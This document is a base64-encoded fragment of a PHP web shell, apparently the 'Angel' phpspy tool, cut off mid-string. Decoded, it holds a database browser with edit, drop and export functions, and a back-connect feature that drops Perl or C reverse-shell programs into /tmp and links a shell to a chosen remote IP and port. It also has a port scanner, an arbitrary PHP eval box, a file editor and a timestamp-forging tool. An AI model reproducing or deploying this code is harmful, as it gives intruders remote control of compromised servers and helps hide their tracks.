bj4kdHlwZSgkbGVuKSIuKCgkcm93ZGJbJG5hbWVdWydLZXknXSA9PSAnVU5JJyB8fCAkcm93ZGJbJG5hbWVdWydLZXknXSA9PSAnUFJJJykgPyAnPGI+IC0gUFJJTUFSWTwvYj4nIDogJycpLigkcm93ZGJbJG5hbWVdWydFeHRyYSddID09ICdhdXRvX2luY3JlbWVudCcgPyAnPGI+IC0gQXV0bzwvYj4nIDogJycpLiI8L3NwYW4+PC90ZD4iKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQlwKCc8L3RyPicpOwoJCQkJCQkJCQkKCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsKCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOwoJCQkJCQkJCQkJLy/vv71PP++/vVM/2bU/zLUKCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpewoJCQkJCQkJCQkJCWlmICgkaW5zaWRlKSB7CgkJCQkJCQkJCQkJCS8vP++/ve+/ve+/vT/vv73vv73vv71377+977+977+9z5VU77+977+977+977+9P++/ve+/vT8/2bU/77+977+977+977+9Pz/vv73vv71I77+977+9P++/ve+/ve+/ve+/vT/vv73vv73vv73vv73ZtT/vv71b77+977+977+9Uz/vv73vv70KCQkJCQkJCQkJCQkJaWYgKCRyb3dkYlska2V5XVsnS2V5J10gPT0gJ1VOSScgfHwgJHJvd2RiWyRrZXldWydFeHRyYSddID09ICdhdXRvX2luY3JlbWVudCcgfHwgJHJvd2RiWyRrZXldWydLZXknXSA9PSAnUFJJJykgewoJCQkJCQkJCQkJCQkJJHdoZXJlID0gJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOwoJCQkJCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOwoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsKCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQl9CgkJCQkJCQkJCQkvLz8/Pz/MtQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7CgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOwoKCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOwoKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsKCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJCQkJCQkJCWZvcigkaT0wOyRpPCRmaWVsZG51bTskaSsrKXsKCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pIi4oKCRyb3dkYlskbmFtZV1bJ0tleSddID09ICdVTkknIHx8ICRyb3dkYlskbmFtZV1bJ0tleSddID09ICdQUkknKSA/ICc8Yj4gLSBQUklNQVJZPC9iPicgOiAnJykuKCRyb3dkYlskbmFtZV1bJ0V4dHJhJ10gPT0gJ2F1dG9faW5jcmVtZW50JyA/ICc8Yj4gLSBBdXRvPC9iPicgOiAnJykuIjwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCQkJCXAoJGRiZm9ybSk7CgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPHRkPk9wZXJhdGU8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOwoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJaWYgKCRoaWdodmVyKSB7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7CgkJCQkJfQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPjwvdGQ+Jyk7CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7CgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7CgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOwoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7CgkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCX0KCQkJCXAoJzx0ZD5PcGVyYXRlPC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7CgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOwoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsKCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDUgOiAzKS4nIj4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA5IDogNykuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJGRibmFtZS4iLnNxbFwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgLz4gPGlucHV0IGNsYXNzPVwiYnRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJFeHBvcnQgc2VsZWN0aW9uIHRhYmxlXCIgLz48L3RkPjwvdHI+Iik7CgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOwoJCQkJZm9ybWZvb3QoKTsKCQkJCXAoIjwvdGFibGU+Iik7CgkJCQlmcigkcXVlcnkpOwoJCQl9CgkJfQoJfQoJdGJmb290KCk7CglAbXlzcWxfY2xvc2UoKTsKfS8vZW5kIG15c3FsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2JhY2tjb25uZWN0JykgewoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJISR5b3VycG9ydCAmJiAkeW91cnBvcnQgPSAnMTIzNDUnOwoJJHVzZWRiID0gYXJyYXkoJ3BlcmwnPT4ncGVybCcsJ2MnPT4nYycpOwoKCSRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiLgoJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuCgkJInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kiLgoJCSJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuCgkJIk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOwoJJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLgoJCSJTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkIi4KCQkiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLgoJCSJBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEIi4KCQkiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsKCglpZiAoJHN0YXJ0ICYmICR5b3VyaXAgJiYgJHlvdXJwb3J0ICYmICR1c2UpewoJCWlmICgkdXNlID09ICdwZXJsJykgewoJCQljZignL3RtcC9hbmdlbF9iYycsJGJhY2tfY29ubmVjdCk7CgkJCSRyZXMgPSBleGVjdXRlKHdoaWNoKCdwZXJsJykuIiAvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsKCQl9IGVsc2UgewoJCQljZignL3RtcC9hbmdlbF9iYy5jJywkYmFja19jb25uZWN0X2MpOwoJCQkkcmVzID0gZXhlY3V0ZSgnZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7CgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOwoJCQkkcmVzID0gZXhlY3V0ZSgiL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsKCX0KCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2JhY2tjb25uZWN0Jyk7CglwKCc8cD4nKTsKCXAoJ1lvdXIgSVA6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cmlwJywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiR5b3VyaXApKTsKCXAoJ1lvdXIgUG9ydDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsKCXAoJ1VzZTonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ndXNlJywnb3B0aW9uJz0+JHVzZWRiLCdzZWxlY3RlZCc9PiR1c2UpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290KCk7Cn0vL2VuZAoKZWxzZWlmICgkYWN0aW9uID09ICdwb3J0c2NhbicpIHsKCSEkc2NhbmlwICYmICRzY2FuaXAgPSAnMTI3LjAuMC4xJzsKCSEkc2NhbnBvcnQgJiYgJHNjYW5wb3J0ID0gJzIxLDI1LDgwLDExMCwxMzUsMTM5LDQ0NSwxNDMzLDMzMDYsMzM4OSw1NjMxLDQzOTU4JzsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidQb3J0IFNjYW4nKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncG9ydHNjYW4nKTsKCXAoJzxwPicpOwoJcCgnSVA6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2NhbmlwJywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRzY2FuaXApKTsKCXAoJ1BvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2NhbnBvcnQnLCdzaXplJz0+ODAsJ3ZhbHVlJz0+JHNjYW5wb3J0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnRzY2FuJywndmFsdWUnPT4nU2NhbicsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoKCWlmICgkc3RhcnRzY2FuKSB7CgkJcCgnPGgyPlJlc3VsdCAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWZvcmVhY2goZXhwbG9kZSgnLCcsICRzY2FucG9ydCkgYXMgJHBvcnQpIHsKCQkJJGZwID0gQGZzb2Nrb3Blbigkc2NhbmlwLCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAxKTsgCgkJCWlmICghJGZwKSB7CgkJCQlwKCc8bGk+Jy4kc2NhbmlwLic6Jy4kcG9ydC4nIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSA8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojZjAwOyI+Q2xvc2U8L3NwYW4+PC9saT4nKTsKCQkgICB9IGVsc2UgewoJCQkJcCgnPGxpPicuJHNjYW5pcC4nOicuJHBvcnQuJyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IzA4MDsiPk9wZW48L3NwYW4+PC9saT4nKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkgICB9IAoJCX0KCQlwKCc8L3VsPicpOwoJfQp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3cnLid3dy40bmcnLidlbC5uZXQvcGhwJy4nc3B5L3BsJy4ndWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwoJCglnb2JhY2soKTsKCn0vL2VuZCBlZGl0ZmlsZQoKZWxzZWlmICgkYWN0aW9uID09ICduZXd0aW1lJykgewoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsKCS8vJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJJGNhY2hlbW9udGggPSBhcnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01heSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmb2xkZXIvZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZm9sZGVyL2ZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmb2xkZXIvZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCWZvcm1mb290ZXIoKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2RpZmllZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZm9sZGVyL2ZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPnllYXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsKCXAoJ21vbnRoOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnZGF5OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ2hvdXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ21pbnV0ZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdG